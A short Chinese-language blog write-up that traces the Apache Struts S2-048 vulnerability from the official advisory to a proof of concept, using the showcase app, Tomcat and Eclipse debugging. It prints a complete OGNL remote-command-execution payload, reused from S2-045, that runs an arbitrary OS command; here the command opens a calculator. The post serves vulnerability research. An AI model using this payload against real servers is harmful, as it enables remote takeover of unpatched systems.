s2-048漏洞分析

0x01 前言

   昨天下午下班前看到朋友圈有人已经在转发s2-048的漏洞通告,见链接 https://cwiki.apache.org/confluence/display/WW/S2-048,晚上的时候简单的复现了一下,今天没事儿就跟了一下。

0x02 从官方通告到poc

   从官方通告到概念性证明这是一个考验能力的地方,但是万事都有技巧和经验。官方通告往往信息量是最大的,首先,通过官方通告如下图所示可以得到至少五个重要的信息点

  • 1.这是一个远程命令执行漏洞
  • 2.这个漏洞存在showcase示例应用中,这个很重要,能让我们最快的时间去找到相应的漏洞环境
  • 3.这个漏洞struts1的插件有关
  • 4.这个漏洞影响的版本是struts 2.3x系列
  • 5.漏洞的解决方法,这里是代码的正确写法,此处是找到漏洞触发点的关键
    1.首先,我们从官网http://struts.apache.org/download.cgi#struts25101下载对应的struts以及showcase。
    2.将war包部署到应用服务器,我这里用了tomcat,打开struts-showcase如下图所示:

    3.查找关键性代码

    可以看到箭头所指的地方就使用到了官方不’提倡’使用的规范,应该就是这个地方了。
    打开这个页面可以看到这里有三个输入的地方,这里应该就是恶意代码插入的地方。

    4.代码调试
    这个时候就该上eclipse了,跟踪一下数据流向。我们先在此处加个断点

    通过调试会发现M0rk参数会进入buildMessageFormat()这个函数里面

    很熟悉有木有,这个就是s2-045漏洞(详见之前的文章http://www.cnblogs.com/mrchang/p/6515150.html)里面的利用点,直接利用不就行了嘛。直接将name参数修改为s2-045的payload就行了.
    payload如下:
    1
    %{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}

0X03 总结

   这里没有具体的分析这个struts1插件功能以及payload,只是简单和大家分享一下从官方通告到自己出poc的一个流程,还是有经验可循的,当你分析的漏洞多了,这个过程会很快。
水了一篇:)